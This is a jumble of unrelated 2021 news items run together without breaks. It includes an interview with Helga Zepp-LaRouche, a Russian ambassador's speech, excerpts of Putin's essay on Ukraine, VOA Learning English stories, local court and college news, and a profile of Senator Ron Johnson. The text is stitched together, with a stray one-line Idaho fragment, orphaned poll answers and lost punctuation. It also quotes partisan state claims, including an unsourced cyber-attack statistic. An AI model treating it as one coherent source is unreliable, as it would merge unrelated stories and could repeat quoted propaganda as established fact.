Zepp-LaRouche: Well, China has been the leading nation for centuries, and only in the 18th and 19th centuries, because of the colonialist attacks and Opium Wars by the British, you know, that that was diminished. But now, China is again the second largest economy in the world.

The lifting of poverty of 850 million people represents a tremendous civilizational contribution, and therefore, I think, it is absolutely correct that China should have a major role in this discussion.

World Today: OK, but do you feel the widespread back and forth surrounding human rights issues around the world currently has been highly politicized? And sometimes it has even been used as a tool for political purposes and sometimes as an excuse to put pressure on other countries or even invade other countries?

Zepp-LaRouche: Yes. These notions, human rights and democracy, have become like a two by four: You can smash any argument into the ground. So, I think this double standard needs to be corrected. Those people in the West who support sanctions under conditions of the COVID-19 crisis against such countries as Syria, Yemen, Iran, VenezuelaI think altogether 30 countriesI mean, this is a violation of human rights if you ever have seen one. Or, if you look at how Assange is treated, or what happened to Snowden, all these people just did the right thing, and they have been treated in an absolutely horrible way. So this double standard should be stopped.

World Today: What are the consequences of such double standards or politicizing such human rights issues? Is it like shifting our focus away from the real human rights problems?

Zepp-LaRouche: Yes, it poisons the atmosphere, and it degenerates the idea of human rights, which is actually a beautiful idea, and makes it a victim of geopolitical reasons.

Now, the Schiller Institute is upholding this concept of the New Name for Peace Is Development. This comes originally from Pope Paul VI in his 1967 Encyclical Populorum Progressio, where he coined that idea that the new name for peace is development.

And this is very important right now, concretely in Afghanistan. Look, for example, NATO spent there 20 years for absolutely nothing, and now the question is whats to come out of Afghanistan? Will you continue the geopolitical war? Or, will you have an agreement among all neighbors, like Russia, China, India, Pakistan, Iran, and have real development? The real development would mean to extend the New Silk Road, the Belt and Road Initiative into Afghanistan, but also into Iraq, Syria, Yemen, the whole region. And then you can have peace. So this is not an abstract academic notion, this is an extremely actual issue, that the idea that real peace does require development, that that is a precondition without which nothing will function.

World Today: OK, thank you Dr. Helga Zepp-LaRouche, founder of the Schiller Institute, a Germany-based political and economic think tank.
Antonov on Strategic Stabilitythe Limits and Potentials of the Putin-Biden Summit

July 13, 2021 (EIRNS)Russian Ambassador to Washington Anatoly Antonov addressed the Middlebury Institute of International Studies at Monterey, California, on July 12, for its annual Summer Symposium of the Institute on the subject of the Russian Federation. The speech is posted to the Embassys Facebook page. The ambassador, speaking in Russian to both American and Russian students, opened his remarks by discussing the Geneva summit between Presidents Joe Biden and Vladimir Putin on June 16, saying that although it did not lead to a significant improvement of bilateral relations, it has created the decision for a comprehensive dialogue.

Contrary to the negative mood fueled by U.S. media outlets in the run-up to the summit, the talks at the highest level were held in a calm, business-like and, in general, constructive environment. With all remaining contradictions, the two countries leaders agreed there is the need to bring closer positions and reduce confrontation in Russian-U.S. relations, he said, according to TASS.

We dont cherish illusions on pivotal breakthroughs. Over the past years, too many mutual claims and contradictions have accumulated, which cannot be resolved in a single jerk. However, there are opportunities for positive dynamics. They are opened by achieving the understanding about the advisability of restoring systemic contacts on key issues of the bilateral and international agenda. The most important agreement at the summit, confirmed in a joint statement on strategic stability, was a decision to launch comprehensive dialogue. Along with extending the New START early this year, this is another step of Washington in the direction of common sense and greater responsibility in international affairs.

He also pointed to the Presidents joint communique confirming the formula 35 years ago between Reagan and Gorbachev, that a nuclear war cannot be won and must never be fought, and stressed that it encourages Moscow and Washington to show greater responsibility in international affairs. He described the Presidents as agreeing, it is necessary to make every effort to prevent any armed conflict between our countries, which could inevitably trigger escalation up to a nuclear level. We expect in the coming weeks to hold a kick-off meeting between delegations of agencies led by deputy foreign ministers. The point of departure could be a review of the current concerns in the strategic field, which both sides have. He continued, Russia believes that strategic dialogue should be aimed at developing a new security equation which should cover all offensive and defensive weapons in nuclear and non-nuclear equipment capable of solving strategic tasks. We are talking about missile defense, predictability and restraint in the missile field since the termination of the INF Treaty, prevention of space arms race, destabilizing military technology, response to nuclear escalation crisis.

Antonov further raised the priority of working together for cyber security. He continued:

By the way, according to U.S. sources, most cyber attacks worldwide are carried out from electronic addresses on U.S. soil. In 2020, there were 45 cyber attacks registered against Russian facilities, 35 of which were coordinated from America. I would like to point out that a few days ago [on July 9] our Presidents had a phone conversation and discussed cybersecurity in detail. The leaders emphasized the need for substantive and constructive cooperation in this field and continuing respective contacts. In particular, Vladimir Putin noted that Russian-U.S. cooperation should be of permanent, professional and non-politicized.

Antonov addressed the unanimous passing of a UN Security Council resolution jointly drafted by the U.S. and Russia for cross-border delivery of humanitarian aid to Syria, remarking: We believe that this decision will contribute to achieving political settlement in the [Syrian] Arab Republic as soon as possible and to stabilizing the Middle East in general.
July 13, 2021 (EIRNS) Vladimir Putin has a long article posted on the Presidents website July 12, titled, On the Historical Unity of Russians and Ukrainians, which details the long and complex history of the Russian-language groups, and identifying forced change of identity for Russians in Ukraine. On July 1, Ukraines unicameral legislature Verkhovna Rada, passed a law On Indigenous Peoples of Ukraine, which now applies such a status to the Crimean Tatars, Karaims, and Krymchaks. It is implied that Russians cannot be considered an indigenous people in Ukraine. The bill allows indigenous people broad cultural, economic, educational and language rights, for example, to create their own education establishments and to be taught in mother language, and to create their own media. Some programs can get state funding.

President Putin writes in his article:

There may be an argument: if you are talking about a single large nation, a triune nation, then what difference does it make who people consider themselves to beRussians, Ukrainians, or Belarusians. ... But the fact is that the situation in Ukraine today is completely different because it involves a forced change of identity. And the most despicable thing is that the Russians in Ukraine are being forced not only to deny their roots, generations of their ancestors, but also to believe that Russia is their enemy. It would not be an exaggeration to say that the path of forced assimilation, the formation of an ethnically pure Ukrainian state, aggressive towards Russia, is comparable in its consequences to the use of weapons of mass destruction against us. As a result of such a harsh and artificial division of Russians and Ukrainians, the Russian people in all may decrease by hundreds of thousands or even millions.

Our spiritual unity has also been attacked. As in the days of the Grand Duchy of Lithuania, a new ecclesiastical has been initiated. The secular authorities, making no secret of their political aims, have blatantly interfered in church life and brought things to a split, to the seizure of churches, the beating of priests and monks. Even extensive autonomy of the Ukrainian Orthodox Church while maintaining spiritual unity with the Moscow Patriarchate strongly displeases them. They have to destroy this prominent and centuries-old symbol of our kinship at all costs.

I think it is also natural that the representatives of Ukraine over and over again vote against the UN General Assembly resolution condemning the glorification of Nazism. Marches and torchlit processions in honor of remaining war criminals from the SS units take place under the protection of the official authorities. Mazepa, who betrayed everyone, Petliura, who paid for Polish patronage with Ukrainian lands, and Bandera, who collaborated with the Nazis, are ranked as national heroes. Everything is being done to erase from the memory of young generations the names of genuine patriots and victors, who have always been the pride of Ukraine....

First of all, we are facing the creation of a climate of fear in Ukrainian society, aggressive rhetoric, indulging neo-Nazis and militarizing the country. Along with that, we are witnessing not just complete dependence but direct external control, including the supervision of the Ukrainian authorities, security services and armed forces by foreign advisers, military development of the territory of Ukraine and deployment of NATO infrastructure. It is no coincidence that the aforementioned flagrant law on indigenous peoples was adopted under the cover of large-scale NATO exercises in Ukraine....

I am confident that true sovereignty of Ukraine is possible only in partnership with Russia. Our spiritual, human and civilizational ties formed for centuries and have their origins in the same sources, they have been hardened by common trials, achievements and victories. Our kinship has been transmitted from generation to generation. It is in the hearts and the memory of people living in modern Russia and Ukraine, in the blood ties that unite millions of our families. Together we have always been and will be many times stronger and more successful. For we are one people.
Ashley Pearces child was ready to start kindergarten last year in Marylands Montgomery County public school system. But when she learned the year would begin online, Pearce sent her daughter to a private Catholic school nearby. It was offering in-person classes.

Now Pearce is debating whether her daughter should return to the local public school. She is unsure of moving after her daughter made friends at the Catholic school. She is also worried the school would go back online if coronavirus cases increase again.

Pearce told The Associated Press, Its going to be fine if we stay where we are, and that stability for my family is probably the way were going to go.

Many school systems across the country lost students during the pandemic. And they hope when school starts again this fall, families will choose public schools. Some schools have made efforts to connect with families of young children. Some are placing signs all over communities. Others are reaching out to families with direct phone calls.

There are early signs that enrollment may not recover, says a study by Chalkbeat and The Associated Press. With fewer students, public schools could receive less money to operate. But for now, money from pandemic support is keeping school budgets strong.

Chris Cram is the director of communications for the Montgomery County Public School system where Pearce lives. He said the county has lost between 3,000 and 5,000 students since last year.

Drops in enrollment could also change the racial makeup of the countrys public schools. The AP/Chalkbeat study found that enrollment declines vary based on race. Enrollment in preschool to 12th grade dropped by 2.6 percent among 41 states last fall. But the decline was highest among white students, whose enrollment fell more than 4 percent.

White families decisions seemed based mostly on whether their childs public school offered in-person learning. States, where more students had online classes, saw larger declines among white students.

The countrys Hispanic student population saw the biggest change in enrollment from before the pandemic. Enrollment dropped 1.5 percent among Hispanic students, a population that had been Americas fastest-growing student group. That could be because of the problems Hispanics faced during the pandemic. The group saw high rates of job losses and high rates of death and hospitalization from the pandemic.

As you can imagine, families (and their children) made a wide variety of decisions that were pandemic related, Cram said in an email to VOA.

Cram said some students left Montgomery County to attend private school or home school. He said other families left for economic reasons, moving to less costly areas.

In the coming weeks we will be calling, mailing and door-knocking to engage and encourage these families to return, Cram said.

Richard Welsh is a professor at New York University who studies student enrollment. He said it could be difficult for schools to reconnect with families who left public schools for many reasons. Welsh said schools will have to find different ways to bring back students.

 Were open for business and were committed to in-person learning' " could be targeted to white families. But for Black and Hispanic families, Welsh said, schools are talking about safety measures.

One such effort is going on in San Antonio, Texas. There, the mostly Hispanic school district saw enrollment drop just over 5 percent. Officials there expect enrollment will rise this fall but not to pre-pandemic levels.

To build trust with families worried about in-person learning, school officials have held town meetings with families. There, families can ask experts questions about the virus and COVID-19 vaccines. The school will also continue to offer fully online classes.

San Antonio school officials are working to connect with every family who left or did not enroll their child in preschool or kindergarten. And Pedro Martinez, head of the school system, said they are contacting families by phone or with a home visit.

Martinez said he is centered on classes for younger students, where enrollment dropped the most. But he is also concerned about older students from poor families. Many got jobs to help their families during the pandemic. And they continued to attend online classes this spring so they could work, Martinez said.

Its so easy for a 16- or 17-year-old to prioritize work over school, he said.

Cram said Montgomery County will also offer fully online school, in part to help working students.

It is unclear exactly how many families left for private schools, like Pearce. Private school enrollment grew 5 percent or more this year in states like Delaware and New Hampshire. But in other states, including New York, Louisiana, Indiana and Colorado, private school enrollment fell by 3 percent or more.

It was not just wealthy families that left public schools. There were large enrollment declines among students from both poor and rich families in the 35 states that provided data.

Cram said, some students will be coming back but not all.

Im Dan Novak.

And I'm Caty Weaver.

The Associated Press and Chalkbeat reported this story. Dan Novak adapted for VOA Learning English with additional reporting. Hai Do was the editor.

Quiz- After Enrollment Drops, Public Schools Hope Students Return for Autumn Start the Quiz to find out Start Quiz



_________________________________________________________________________

Words in This Story

kindergarten  n. a school or class for very young children

stability  n. the quality or state of something that is not easily changed or likely to change

enrollment  n. the number of people at a school or college.

makeup  n. the way in which something is put together or arranged

engage  v. to get and keep (someone's attention, interest, etc.)

encourage  v. to make (someone) more determined, hopeful, or confident

commit  n to say that (someone or something) will definitely do something : to make (someone or something) obligated to do something

prioritize  v. to organize (things) so that the most important thing is done or dealt with first


For years, Black students and faculty members at the University of North Carolina, Chapel Hill, known as UNC, have expressed frustration at the way they are treated. Among other problems, they have said they deal with increased attention from school police. And they have noted that the university has too few Black students and teachers.

Last month, several hundred students at UNC protested what they saw as another example of the schools failure to support students and teachers of color.

The protests started after university leaders first decided not to vote on offering tenure to Nikole Hannah-Jones, a Black American journalist. Tenure gives a lifetime position to a professor.

Those involved in the decision not to vote on tenure for Hannah-Jones said they were concerned about her ability to teach. The university had also gotten emails from newspaper publisher Walter Hussman, Jr., for whom the universitys journalism school is named. Hussman is a major donor to the school. In his emails, he raised questions about Hannah-Jones prize-winning work for The New York Times, called The 1619 Project.

Released in 2019, The 1619 Project aims to tell a story of American history with slavery at the center of the countrys founding. Some American states have banned schools from using The 1619 Project materials in classrooms.

Black students, Black professors and other professionals criticized UNCs decision not to vote on tenure for Hannah-Jones. They questioned the universitys support for free speech and diversity.

Following protests and widespread criticism, the university voted late last month to offer a tenured position to Hannah-Jones. But she turned down the offer. Instead, she accepted a tenured position at Howard University in Washington, D.C.

The University of North Carolina, Chapel Hill is the oldest public university in the United States, and first began admitting students in 1795. It is considered one of the countrys top public universities.

Black students and teachers at UNC say that, without meaningful self-examination and change, the school may be unable to attract students and faculty of color in the future.

Jaci Field is a leader of the Carolina Black Caucus, a faculty group. She said, Right now, the relationship between the University of North Carolina and its Black students, faculty and staff is broken.

UNCs Black student and faculty groups presented a list of demands to the school at a news conference last week. In a statement Wednesday, UNC Chancellor Kevin Guskiewicz said that he has looked over the proposed list of changes sought by the Black Student Movement. He is asking university leaders to develop a plan to answer those and other concerns.

But Black faculty and students say promises without action will not be enough. The Carolina Black Caucus group earlier said that a growing number of its members are thinking about leaving the university because of recent events.

The events at UNC gained have gained attention across the country.

Irene Mulvey is president of the American Association of University Professors. She said the events could hurt UNCs ability to recruit and keep top researchers.

She said, I think its going to be a very long and difficult process to recover, if they can even recover from this. This is a black eye on the University of North Carolina Chapel Hill.

Hannah-Jones was asked if she thought her decision to reject the tenure offer would hurt UNCs ability to find and keep Black students and faculty. She answered the fault would lie with the university if that does happen.

I didnt create this situation, she said. So if theyre that concerned, theyll do something different.

Im Dan Friedell.

Annie Ma reported this story for The Associated Press. Gregory Stachel adapted it for VOA Learning English. Ashley Thompson was the editor.

_____________________________________________________________________

Words in This Story

faculty  n. the group of teachers in a school or college

tenure  n. the right to keep a job (especially the job of being a professor at a college or university) for as long as you want to have it

staff  n. a group of people who work for an organization or business

disregard  v. to ignore (something) or treat (something) as unimportant
A medical doctor. A religious leader. A failed Florida businessman. These are some of the details about the main suspect in the killing of Haitian president Jovenel Moise.

Local officials identified the suspect as Christian Emmanuel Sanon, a 62-year-old Haitian. He once expressed a desire to lead his country in a YouTube video. However, he is unknown among Haitian political groups. And friends suggested that those really behind the killing had tricked him.

A friend of Sanon in the American state of Florida told The Associated Press the suspect is a religious leader and also a medical doctor in Haiti, but not in the U.S. The friend's name is not made public for reasons of safety. He reported that Sanon told him people claiming to represent the U.S. State and Justice departments said they wanted to make him president.

He said the plan was only to arrest Moise, and Sanon would not have participated if he knew Moise would be killed.

"I guarantee you that," the friend said. "This was supposed to be a mission to save Haiti from hell, with support from the U.S. government."

Rev. Larry Caldwell, another religious leader and friend of Sanon in Florida, agreed. Caldwell said he worked with Sanon setting up religious centers and medical offices in Haiti between 2000 and 2010. He does not believe Sanon would have been involved in violence.

"I know the character of the man," Caldwell said.

However, records show Sanon has never been approved to practice medicine or any other profession covered by Florida's Department of Health. They also show that Sanon started several businesses over the last 20 years, all of which failed.

Sanons involvement

Among the suspects arrested for Moises killing are 23 former Colombian soldiers, along with three Haitians. Officials said five suspects are still free and at least three have been killed.

Colombia's national police chief, General Jorge Luis Vargas, said that a Florida-based company, CTU Security, bought 19 plane tickets from Bogota to Santo Domingo for the Colombian suspects. Most arrived in the Dominican Republic in June and moved into Haiti within weeks, Vargas said.

Haiti's National Police chief, Leon Charles, said that Sanon was in contact with CTU Security and that the company employed the suspects in the killing. Officers also found a hat with the logo of the U.S. Drug Enforcement Administration, 20 boxes of bullets, gun parts, cars and other things in Sanon's house in Haiti.

Charles said Sanon flew into Haiti in June on a private airplane with several of the suspected gunmen. The suspects were told their job was to protect Sanon, but they were later ordered to arrest the president.

Charles said one suspect called Sanon after the killing. Sanon then contacted two people the police believe to be leaders of the plot. Charles did not identify the leaders or say if police know who they are.

Aid to Haiti

Sanon's friend said he attended a recent meeting in Florida with Sanon and other people, including Antonio Enmanuel Intriago Valera, the head of CTU Security. He said the meeting centered on rebuilding Haitis water system and fixing roads.

He said Sanon asked why the security team accompanying him to Haiti were all Colombians. Sanon was told that Haitians could not be trusted and that the system is corrupt, the friend said.

He added Sanon called him from Haiti a few days before the assassination and said the Colombians had disappeared. "I'm all by myself. Who are these people? I don't know what they are doing," the friend quoted Sanon as saying.

Struggle for power

Sanon's arrest comes as a growing number of politicians have opposed interim Prime Minister Claude Joseph. Joseph is running Haiti with support from the police and the military.

U.S. officials from the Department of Justice and the Department of Homeland Security met Sunday with Joseph, nominated Prime Minister Ariel Henry and Joseph Lambert, the head of Haiti's dismantled Senate. The delegation also met with Haiti's National Police and reviewed the security of critical systems.

White House press secretary Jen Psaki said, "What was clear from their trip is that there is a lack of clarity about the future of political leadership.

Im Jill Robbins.

And I'm John Russell.

Danica Coto, Terry Spencer and Ben Fox wrote this story for the Associated Press. Jill Robbins adapted it for Learning English. Hai Do was the editor.

_________________________________________________

Words in This Story

assassinate  v. to kill (someone, such as a famous or important person) usually for political reasons

mission  n. a specific military or naval task

hell  n. a very difficult or unpleasant situation or experience

character  n. the way someone thinks, feels, and behaves : someone's personality  usually singular

logo  n. a symbol that is used to identify a company and that appears on its products

quote  v, to repeat (something written or said by another person) exactly

interim  adj. used or accepted for a limited time; not permanent

dismantle  v. to destroy (something) in an orderly way : to gradually cause (something) to come to an end

clarity  n. the quality of being easily understood

What do you think of the mystery surrounding the assassination of Jovenel Moise? We want to hear from you. Write to us in the Comments Section.


Chinese ships have dropped human waste and wastewater for years in a disputed area of the South China Sea, a U.S.-based expert said Monday. The dropping of waste has caused algae to grow. The underwater plants have damaged coral reefs and threatened the fish population in the area.

Satellite images over the last five years show how human waste, and other wastewaters have built up and caused algae in a group of reefs in the Spratlys area. In this place, Chinese fishing ships have anchored in large groups, said Liz Derr. She heads Simularity Inc., a software company that creates artificial intelligence technologies that help experts examine satellite images.

Derr said that in a single day last month, at least 236 ships were spotted in the atoll, internationally known as Union Banks. She gave that information at a Philippine online news discussion about Chinas actions in the South China Sea.

When the ships dont move, the poop piles up, Derr said.

The Chinese ships then dump the human waste onto the reefs they are occupying, she explained.

Derr warned that schools of fish reproduce in the reefs that are being damaged. This could cause the fish population in the area to drop sharply.

Chinese officials did not immediately react to Derrs description of the environmental damage. They have said in the past that they have taken steps to protect fish and the environment in the South China Sea.

In addition to Chinese forces, Vietnamese forces have also occupied some areas in Union Banks. The Philippines also has claimed Union Banks as its territory. The Philippines, however, does not have ships in the atoll.

Eduardo Menez is the Philippines Department of Foreign Affairs Assistant Secretary. He said the findings would have to be investigated by Philippine officials before his government would decide whether to make an official protest.

China is growing more aggressive about pressing its territorial claims of the sea. The claims are creating conflict with Japan, India, Vietnam and the Philippines.

In March, Philippine officials found more than 200 Chinese fishing ships at Whinsun Reef in Unions Banks. They demanded that the ships leave the area. China ignored the demand for weeks, while continuing to say it owned the reef. The Philippines argued that Whinsun Reef lies well within an internationally recognized area where it has full rights to fish and drill for resources. It added that a 2016 ruling denied Chinas claims to the waterway.

A few people held a protest Monday in front of the Chinese Consulate in Manila to note the fifth anniversary of the ruling. China ignores the ruling and continues to go to the area. The protesters criticized Philippine President Rodrigo Duterte for refusing to demand that China accept the ruling. Duterte has sought closer ties with China.

Im Susan Shand

The Associated Press reported this story. Susan Shand adapted it for Learning English. Ashley Thompson was the editor.

______________________________________________________________

Words in This Story

algae  n. simple plants that have no leaves or stems and that grow in or near water

coral - n. a hard material formed on the bottom of the sea by the remains of small creatures

coral reef  n. a long line of coral that lies in warm, shallow water

atoll  n. an island that is made of coral and shaped like a ring

anchor  v. to keep a ship or boat from moving by using an anchor

poop  slang human waste

tribunal  n. a kind of court that has authority in a specific area

drill  v. to make a hole in something with heavy equipment

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Lebanon Mayor Paul Aziz has resumed his duties after recovering from a serious illness this spring.

Aziz was hospitalized in March with an infection. Aziz said the rods which were inserted in his back in late 2019 were the source of the infection.

They had to go in and clean out the infection. They took the old rods out and put the new ones in. I was septic, so it was a pretty bad infection, Aziz said.

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Aziz was forced to sit out public meetings for a couple of months as he recovered. Council President Jason Bolen led the city council sessions during his absence.

Aziz was able to lead the June city council session from his home via Zoom. He hopes to be able to attend and lead this weeks session on Wednesday, July 14, in person.

Im feeling good. Recovery is going well. I saw the doctor last week and the rods are healing well, Aziz said. It feels so good to get back to doing regular stuff again.

Aziz took a three-month leave of absence following that original back surgery in 2019.
The process for realigning Idahos political map with a decades worth of population expansion finds itself in roughly the same spot as it was 10 years ago  under pressure to get the job done without any time to spare.
Not at all.

A little but not enough to alter my schedule.

Enough that I try to stay inside as much as possible.

It's really done a number on me.

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A judge on Friday approved a temporary restraining order barring a Santa Maria attorney accused of fraud charges from transferring ownership of a home and business in a criminal case connected to a Santa Barbara County probate matter filed in 2018.

The order, which was approved by Superior Court Judge James Herman, accompanied a petition for preliminary injunction filed Thursday and prevents transfers of property in an Orcutt residence and Santa Maria business co-owned by Debbie Morawski, 47, who is facing more than a dozen fraud charges connected to a probate case filed April 9, 2018, according to Deputy District Attorney Casey Nelson.

Morawski on June 28 pleaded not guilty to the charges, which were filed on May 6 and include eight counts of money laundering, three counts of embezzlement and one count each of preparing false evidence and theft from an elder or dependent adult.

Additionally, Morawski denied two enhancements, including that the amount of the embezzlement was in excess of $500,000 and an enhancement that extends the statute of limitations for the case.

Santa Maria trio pleads not guilty to using 'shell' residence in $390K Medi-Cal fraud scheme Two women and a man from Santa Maria pleaded not guilty last week to fraud-related charges in which theyre accused of using a California home to collect more than $390,000 in state medical benefits over more than a decade while living in Nevada.

The order prevents Morawski from transferring ownership in a newly-acquired residence in Orcutt and her stake in a business that controls The Salty Brigade Restaurant located on Skyway Drive in Santa Maria. The restaurant was shuttered Tuesday with a note taped to the door stating it was closed due to a family emergency.

Because Morawski was charged with a white collar crime, the request was made "to preserve any asset or property" in her control with transfer to a third party for the purposes of paying restitution and fines, if there is a conviction, according to Nelson.

The order also directs Rabobank to immediately disclose account numbers related to Morawski and her husband.

Morawski entered her plea on the same day as a probate case judgment in the amount of $1,437,318.05 was awarded to Susan Wilcox-Grayum and Betsy Tuttle, who accused Morawski of surreptitiously replacing them as the sole trustee in the estate of their mother, Delta L. Campbell, who died Sept. 13, 2017 at the age of 93.

It was ultimately the probate case that led to the criminal charges, according to a declaration by District Attorney's Office investigator Kristin Shamordola.

Adrienne Harbottle, a Santa Barbara County public defender and attorney for Morawski, did not return calls for comment.

The case begins with Campbell's original $2 million family trust, which Morawski drafted and notarized Aug. 17, 2011, according to court records.

Two years later, in August 2013, the daughters accused Morawski of immediately embezzling funds after drafting an amendment that gave her sole control over the trust.

Accounting filings analyzed by a forensic accountant showed Morawski embezzled more than $500,000, including for personal expenses such tuition payments for her boyfriend's son, trips to Yosemite National Park and self-written checks for "attorneys fees" before she resigned as trustee on March 11, 2020 according to court records.

The filings analyzed by the forensic accountant showed that Morawski's accounting information allegedly contained misleading statements and labeled the money she embezzled as "trust transfers" to obscure her actions.

Morawski continued to spend nearly $55,000 from the trust even after the court suspended her authority in a July 29, 2019 order, according to records.

Morawski is scheduled to appear for a hearing at 8:30 a.m. on Aug. 23 in Superior Court of Santa Maria.
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Angelina College to offer all students CARES funds for 2021-22 school year

BROWN

HUFFMAN

Angelina College has received a third allotment of funds to give to all students as part of the American Rescue Plan Act of 2021.

Each student that enrolls in credit courses in the fall will receive a disbursement of funds from the CARES Act; it is available to all students, with the exception of dual-credit students. The previous funds were only for Title IV-eligible students who received some type of financial aid.

The CARES had two parts to it, said Janice Huffman, director of grants and sponsored programs at Angelina College. One was an institutional part that the institutions could use to upgrade their needs to offset coronavirus; the other part was for students, and it could only be distributed to students, directly to students, and thats the part were looking at now for the fall.

While all students will be receiving the funds, there is still a priority for students with exceptional needs. Students dont need to apply for the funds; they will automatically receive the money.

A student with exceptional need, we have to prioritize, Huffman said. So we will be doing a higher rate for a student with exceptional need, and all other students would get the second amount.

So if youre Pell (grant) eligible, you would get $1,100. If youre not Pell eligible, youd get $600, said Krista Brown, executive director of marketing & strategic enrollment. Theres a lot of things that can make a student Pell eligible. Once they fill out the FAFSA, the government decides whos eligible. Theres a lot of stipulations that go into it.

Pell eligible students also will receive a reimbursement check along with the CARES funds.

So, in the fall semester, if they took a full load, got a Pell reimbursement check, they can use it toward books, living expenses, really whatever they would like, Brown said. Theyll get an additional $1,100 from these CARES funds. So its just a lot of opportunity for our students to gain funding this upcoming semester.

Huffman said it feels great to hear students stories of how funds like this helped them to graduate.

Its wonderful to be able to help our students, she said. Working in the grants office that I do, I get several grants that help support our students, and I know it helps them.
When Democrats look at Ron Johnson, they can taste victory.

But thats nothing new.

It was a miscalculation in 2010. And again in 2016. But 2022? Well, theyre pretty sure this time will be different.

Democrats might be right  but they also might not get a chance to find out if the Republican senator chooses to keep his 2016 pledge to make his second term his last.

Two things are true about the former plastics CEO. One, hes the most vulnerable incumbent senator on the map in 2022, should he choose to seek reelection. And two, Democrats and Republicans have repeatedly underestimated him from the moment he stepped into the Wisconsin political arena a little more than a decade ago.

I havent made that decision. I dont feel any pressure to make it really anytime soon. I think I have plenty of time, Johnson said when asked about his plans for 2022 during a Milwaukee Press Club Q&A last month.

Anyone besides Ron Johnson who says they know what hell do in 2022 is selling a bill of goods. Sources familiar with the senators thinking are just as uncertain about what hell decide as any other political observer. Johnson declined to be interviewed for this story, but offered a written statement commenting in particular on how his recent speech at the Republican Party of Wisconsin state convention would frame his future actions, regardless of whether he runs again.

At the heart of the speculation is a question thats been posed to just about everyone whos followed his career in Wisconsin, as he firmly embraces his role as a national political lightning rod: Has he always been this way?

Republican operatives who have worked with Johnson have a clear answer to that question: Johnson is the exact same person hes always been. Whats changed are the issues earning his attention and the increasingly heated political environment.

Its not controversy for controversys sake. Hes not one to shy away from speaking his mind or taking positions that arent the establishment party line, said Ben Voelkel, Johnsons longtime communications director who left the senators office in April. I think at some point you become an easy mark if youre touching the hot stove.  Hes not deterred by that. Hes willing to stick his nose into places a lot of other people arent because of the consequences and blowback.

Another Republican strategist who knows Johnson well argued that if the senator has changed, that means every single person in the grassroots has changed. Johnson has always been that strongly conservative senator who is very much in line with the conservative base and whos willing to say it, caution be damned, the strategist said.

Several operatives familiar with Johnson or with Senate campaigns were granted anonymity for this story so they could speak candidly.

Johnson is doing what hes always done, said one Republican consultant with knowledge of Senate races  hes asking questions about things that dont add up. The difference is that more people are paying attention, and no matter what he says, it will generate outrage among liberals and pundits, the consultant said.

The senator has fueled enough outrage to power a wildfire, especially in the last two years as the coronavirus spread, and former President Donald Trump encouraged false allegations about the legitimacy of the 2020 election.

Perhaps the best indication of how much the Johnson frenzy has grown is the spate of national headlines early in July revealing that he had recently mouthed that climate change is bullshit while speaking to a group of Republican women. While noteworthy amid a historic heat wave, the quip should come as no surprise to anyone whos followed Johnsons political career. Hes questioned the science of human-influenced climate change since at least 2010, instead blaming sunspot activity or just something in the geologic eons of time  charges that are uniformly dismissed by scientists.

Johnsons controversial statements have evolved beyond climate, though, prompting comparisons to the disgraced late Sen. Joe McCarthy (of Appleton, just up the road from Oshkosh) from pundits and opponents.

The senator has cast doubts on the safety of COVID-19 vaccines and pushed unproven or debunked treatments for the virus. He has said he never felt threatened during the Jan. 6 storming of the U.S. Capitol, and has disputed that the event was an armed insurrection. A recent New York Times story was headlined, Assaulting the Truth, Ron Johnson Helps Erode Confidence in Government.

Its those instances that have some of his former supporters wondering where it all went wrong.

Whether or not Johnson is joining the crowd or is revealing his true inner self, Im now split on it, said James Wigderson, editor of the conservative news site RightWisconsin. Is it a case of Johnson moving where the audience is moving? Theres the old joke, I must lead the people, and where the people go I must go first. Or is it a case of, this is the way Johnson always was, and when the issues changed and when circumstances changed, we got to see his true inner self?

Wigderson then referred to a scene from Beneath the Planet of the Apes, during which telepathic humans hold a religious ritual to detonate a nuclear bomb, taking off their human-skinned masks to reveal their mutated faces underneath. Trump is the nuclear bomb in this analogy, if that wasnt clear.

As we got closer to the (2020) election  Johnson parroted the stolen election lines, all the while claiming he doesnt believe the election was stolen  but he certainly has done everything that he can to cast doubts on the legitimacy of the last election, Wigderson said.

If you have a standard, you hold yourself to it. The only standard Johnson seems to be holding himself to is that if it upsets the left, then hes now in favor of it, regardless of how ridiculous he sounds in the process.

Charlie Sykes, who for nearly a quarter-century was one of the states most influential conservative voices, says he believes Johnson has changed.

I think the last (few) years changed and tested a lot of people, Sykes said. This may be a confession of naivete, but I did not have a sense that Ron Johnson was going to embrace the crazy. Perhaps I was obtuse or naive, but I did not expect that.

The influence of Sykes  who left his WTMJ-AM talk radio show in 2016 as one of Wisconsins few anti-Trump conservatives and is now a frequent MSNBC contributor  was an integral part Johnsons rise. A mutual friend connected the men, and Sykes ended up reading Johnsons stump speech on air as he prepared to challenge Democratic Sen. Russ Feingold. Johnson was quoted in a 2011 Peggy Noonan column as saying, The reason Im a U.S. senator is because Charlie Sykes did that.

The radio host and the senator used to have a weekly Monday morning phone call, Sykes said, recalling how impressed he was by Johnsons independence. He wasnt easily dazzled and wouldnt be seduced by the Washington power structure. Sykes saw Johnson as a Wall Street Journal editorial page conservative  someone who could become the William Proxmire of the right.

But now its been about two years since the two have spoken, and Sykes cant hide the disappointment in his voice when he talks about the senator.

Having already dubbed David Clarke his Frankenstein monster after serving as a launching pad and megaphone for the former Milwaukee County sheriff, how does Sykes feel about his role in Johnsons rise?

Lets just say that  regrets, I have a few, he said wryly, paraphrasing the Frank Sinatra song Trump played at his inaugural ball, his campaign rallies and his departure from the White House.

Given his distaste for political pageantry, Johnsons ascension to the de facto head of the Wisconsin GOP was an unlikely one. But over the last several years, the other faces of the Republican Cheesehead Revolution  Paul Ryan, Scott Walker, Reince Priebus  faded from the stage, leaving Johnson to carry the mantle.

So it was Johnsons speech  and not even a surprise video message from Trump  that took center stage during the Republican Party of Wisconsins state convention at the end of June.

In some ways, it was a tone shift for the gruff businessman, whos usually more likely to present charts and graphs about the national debt than to get emotional or push for unity.

But in Wisconsin Dells, Johnson preached harmony and positivity in his speech to the base, painting Democrats as an angry party bent on fundamentally changing the United States.

"The leaders of the left talk about fundamentally transforming this nation. Do you even like, much less love, something you want to fundamentally transform?" Johnson asked. "Americas not perfect; we had that original sin from slavery, but weve made progress. Weve continuously improved. Thats not good enough for the left."

He told supporters the Republican Party's mission statement should be "to unify, unite and heal this nation." And yes, thats a callback to the pledges Democratic President Joe Biden made on the campaign trail  promises Johnson argues are not being fulfilled.

"Were not going to do that by being angry. Were not going to do that by imitating what (liberals) do, by being nasty," Johnson said. "Were going to do that by allowing light to pierce the darkness."

